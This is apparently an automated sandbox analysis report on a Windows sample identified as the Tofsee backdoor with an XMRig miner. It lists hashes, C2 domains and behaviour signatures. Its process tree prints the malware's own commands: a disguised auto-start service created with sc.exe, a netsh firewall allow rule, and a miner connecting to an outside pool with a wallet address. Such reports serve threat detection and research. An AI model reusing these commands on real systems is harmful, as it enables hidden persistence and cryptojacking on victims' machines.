Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    03-07-2023 07:26

General

  • Target

    file.exe

  • Size

    250KB

  • MD5

    db1e413167c8f07f9039aced287777f7

  • SHA1

    6ed7c7fb7a8f81c6dc1ed56f433b98502ad698af

  • SHA256

    5c94999358c03c5088370f41bf54d8ecadce66c75b96d88c7e665b7d7566d5b6

  • SHA512

    820200875a2031c649e16529cc4fea175cf53871fe98693df5a537f37bb0ce0d1c591d4f2f43f9a5e2e413fc3436aea017f17776e87b3aa181363bd8efa88299

  • SSDEEP

    3072:05AcY+kvNkSFPWe4jCCxBoIXA+lDD1SKJwxQaZbuB/KjpP:3ASFPWe5A/XXln1/JIZ4Sjp

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1288
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tglufobo\
      2⤵
        PID:916
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rlldgqug.exe" C:\Windows\SysWOW64\tglufobo\
        2⤵
          PID:1300
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tglufobo binPath= "C:\Windows\SysWOW64\tglufobo\rlldgqug.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:680
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tglufobo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:460
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tglufobo
          2⤵
          • Launches sc.exe
          PID:644
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:828
      • C:\Windows\SysWOW64\tglufobo\rlldgqug.exe
        C:\Windows\SysWOW64\tglufobo\rlldgqug.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:428
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1128

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\rlldgqug.exe

        Filesize

        13.6MB

        MD5

        714423a2257f7506850184e9da5c460d

        SHA1

        967c1ff8b54d6829a4a6677330905d7b150ae0b8

        SHA256

        34de3709c88d558bc0d230c768032141f6989e6414c44566082447239d4866bc

        SHA512

        233338913ba698db70fb9e2de67db9456ac8770e539ea95a50eeb33474761feb3fc5f57f22f9d94c910b0aca5c403d39843627140e2377144c553d50a03f7975

      • C:\Windows\SysWOW64\tglufobo\rlldgqug.exe

        Filesize

        13.6MB

        MD5

        714423a2257f7506850184e9da5c460d

        SHA1

        967c1ff8b54d6829a4a6677330905d7b150ae0b8

        SHA256

        34de3709c88d558bc0d230c768032141f6989e6414c44566082447239d4866bc

        SHA512

        233338913ba698db70fb9e2de67db9456ac8770e539ea95a50eeb33474761feb3fc5f57f22f9d94c910b0aca5c403d39843627140e2377144c553d50a03f7975

      • memory/428-88-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-62-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/428-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/428-89-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-107-0x0000000000240000-0x0000000000247000-memory.dmp

        Filesize

        28KB

      • memory/428-106-0x0000000005550000-0x000000000595B000-memory.dmp

        Filesize

        4.0MB

      • memory/428-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/428-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/428-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/428-71-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

      • memory/428-103-0x0000000005550000-0x000000000595B000-memory.dmp

        Filesize

        4.0MB

      • memory/428-75-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/428-90-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-81-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/428-82-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-83-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-84-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-85-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-86-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-87-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-74-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

      • memory/428-60-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/428-78-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-91-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-92-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-93-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-94-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-95-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-96-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-97-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-98-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/428-99-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/428-102-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/1128-111-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1128-112-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1128-120-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1128-119-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1128-122-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1128-121-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1128-123-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1128-124-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1288-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1288-66-0x0000000000400000-0x0000000001B41000-memory.dmp

        Filesize

        23.3MB

      • memory/1920-63-0x0000000000400000-0x0000000001B41000-memory.dmp

        Filesize

        23.3MB